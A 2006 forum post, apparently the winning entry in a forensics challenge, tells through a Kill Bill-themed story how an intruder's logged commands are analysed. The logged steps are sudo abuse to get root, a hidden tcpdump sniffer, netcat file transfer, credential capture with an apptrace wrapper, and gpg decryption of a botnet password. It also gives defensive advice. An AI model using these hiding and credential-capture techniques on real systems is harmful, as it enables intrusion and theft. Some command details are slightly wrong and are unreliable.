Post Mon Aug 21, 2006 12:24 am

Skillz July 06 Winning Entry - Technical

Dean De Beer

Looking at the details of O-ren's hack against his account, Bill thought
about how proud he was of her. He was glad now  that he had setup a sebek
server on snakepit when he did. ( He
wasn't surprised  that she was the first to gain access to his account and
botnet, her h4x0r skillz were as formidible as her Kung Fu.  She also had a
ruthless ambition the others lacked. He was a little disapointed that she
had not attempted to cover  her tracks more completely though. That
arrogance would be her downfall one day. But for now Boss Tananka was about
to be "retired" and Tanaka's replacement would be somebody that he had
helped shape and could now influence. It was  some much more satisfying to
remain in the shadows and manipulate events. Hence his alias, the Snake

Smiling, he began to go through the logs in more detail. He looked at the
first command she ran after logging in as  Cottonmouth,

cottonmouth@snakepit:~ $ cat /etc/sudoers
root    ALL=(ALL) ALL
snakecharmer    ALL=(ALL) ALL
cottonmouth    ALL=(ALL) ALL
californiamountainsnake ALL=(ALL) ALL
copperhead      ALL=(ALL) ALL
blackmamba      ALL=(ALL) ALL
sidewinder      ALL=(ALL) ALL

With sudo, root privileges can be granted to individuals even though root's
password is unknown and in this case all  of the users are able to run any
command they choose as root. The first "ALL" refers to all machines on
network.  This meant that any command could be run on any machine in the
network! This "lapse" in security was the way in for O-ren.  Using visudo to
edit the /etc/sudoers file, Bill began to modify the file limiting what
commands could be run by the users. He begain listing each command that they
would be able to run using sudo. for example:

cottonmouth snakepit= /bin/mount, /bin/umount

Currently with the existing rights each user had it was easy for O-ren to
run the following:

cottonmouth@snakepit:~ $ sudo su -

Using the sudo command she ran the su command and was logged in as root. The
advantage of her being logged in as  root is that any commands she now runs
do not appear in the logs. After changing into the /home/cottonmouth
directory of her account she then creates a folder that uses <space> as the
folder name. This is pure obfuscation on  her part. Next she changed into
the "hidden" directory as evidenced by the following command:

root@snakepit:/home/cottonmouth # cd \

The backslash is used to escape the <space>.

She then ran tcpdump:

root@snakepit:/home/cottonmouth/  # tcpdump -nnw " " &

This would dump all ethernet headers into a file named <space>.

The -n argument is used to avoid DNS lookups and so tcpdump does not convert
host addresses to names.

The -nn argument is used when you don't want to convert protocol and port
numbers to names either.

The -w argument is used to write to a file rather than stdout. In this case
data is being written to a file named  <space>.

The "&" character sets the command to be running in the background.

Next O-ren ran the "list" command: (note: at this point it appears that
O-ren moved up a directory. If this is  infact the case then the unlink
command that follows would not yield any results.)

root@snakepit:/home/cottonmouth # ls -i " "


The -i argument lists the inode number of the file. In this case "97314".
Good idea, Bill thought knowing why she  was listing the inode number of the
file. Her next command confirmed it:

root@snakepit:/home/cottonmouth # unlink " "

She had unlinked the file. The file would now no longer show up using the
"ls" command. A quick way to hide an open  file on a system. The file was
still open in a process so recovery of this file would be easy for O-ren.

Using the command "lsof +L1" O-ren could list all files with a link count of
less than one. Next she could use the  inode number to confirm that the file
was indeed the correct one. This command would also display the PID that was
holding the file handle. An administrator could use the same command to find
such files. The find command could also be used:

find / -name ' ' -print

She probably did the following to recover and view the file:

cd /proc/(PID#)/fd
cat (fd #) > recovered_file

This would effectively allow her to recover the file.

After CD'ing back to root's home directory, It looks like O-ren created
another "hidden" directory with <space> for  a name. Once in the hidden
directory she ran the following command:

root@snakepit:~/  # nc -lp 5050 > apptrace

Ah, Netcat, it was so much more than the Swiss Army Knife people comapred it
to, thought Bill. O-ren had created a  Netcat listener on local port 5050
that would output data to a file named apptrace. Most likely she used the
following command:

nc [snakepit IP] 5050 < apptrace_src_file

O-ren had to have sent an escape charater after the data had been transfered
otherwise the connection would have  remained open.

Hmm, apptrace? that name rings a bell. Bill Stearns had created a script to
monitor applications and record all  command line parameters used. From the
source of the script:

"This wrapper script will monitor that application, whether called from the
command line, inetd, or some other app,  and save time of last run, command
line parameters given to the app, and strace output from running that app in
$HOME/apptrace or /tmp/apptrace..."

Was it the same one?

The next two commands confirmed Bill's suspicions:

root@snakepit:~/  # chmod +x apptrace

root@snakepit:~/  # ./apptrace /usr/sbin/ssh

After making the file executable by running the chmod command with the -x
argument, O-ren ran the apptrace script to  monitor all activity of the
Secure Shell app. As this was not run from the /home directory the ouput
file would have  to be retrieved from /tmp/apptrace.

After extracting the SSH password from the apptrace output file O-ren, Bill
could see that O-ren used this  iinformaiton to log into his personal

root@snakepit:~ # ssh


Once she had gained access to his machine she immediatly checked his the
effective UIDs and GIDs that his account  had.

[snakecharmer@localhost snakecharmer]$ id

uid=500(snakecharmer) gid=500(snakecharmer) groups=500(snakecharmer)

A UID of 500 represents a non-priviledged user.

O-ren immediately ran the sudo command again to gain root priviledges and
once again checked the UID of the account:

[snakecharmer@localhost snakecharmer]$ sudo su -

[root@localhost root]# id

uid=0(root) gid=0(root)

She was running as root as evidenced by the UID of "0".Bill know that O-ren
must have been smiling at this point  being so close to her prize.

She changed back into Bill's snakecharmer account's home directory and
listed the files in that directory:

[root@localhost snakecharmer]# ls


O-ren focused on this file. Perhaps the name was too obvious? thought Bill.
Okunote loosely translated to "secret  skill". Next O-ren was temporarily
stopped in her tracks when she used the "file" command to determine what
type of file it was.

[root@localhost snakecharmer]# file okunote

okunote: PGP armored data message

Bill was using gpg to encrypt this file. She gained access to his gpg
password using ./apptrace and would have run it as follows:

./apptrace /usr/bin/gpg

Next O-ren decrypted the file:

[snakecharmer@localhost snakecharmer]$ gpg -decrypt okunote

gpg: Warning: using insecure memory!

You need a passphrase to unlock the secret key for

user: "Bill Snakecharmer <

1024-bit ELG-E key, ID 11D6CF5F, created 2006-07-06 (main key ID E921E06D)

gpg: encrypted with 1024-bit ELG-E key, ID 11D6CF5F, created 2006-07-06

      "Bill Snakecharmer <

The supreme art of war is to subdue the enemy without fighting

- Sun Tzu in The Art of War

The secret password to control the bot net is: g0dz1ll4

Bill Thought about how easily she had gained access to this file and from
there to his botnet. Perhaps he should  have made it a little more
challenging for her? Well, he would definitely store his private key
remotely from now  on, possibly on a usb key drive. Sniffing his password
might still be possible but without the private key they  would no longer be
able to decrypt the files.

But still he was proud of her. He could not let her know that he had planned
this though. He did not need that type of anger directed at him. As he was
logging off his computer Bill wondered if she had realised that the
passwords were Hex encoded:

6f74616b75 = otaku (the term otaku used by itself just means "fanatic" -
42696c6c = Bill

Last edited by don on Mon Aug 21, 2006 12:37 am, edited 1 time in total.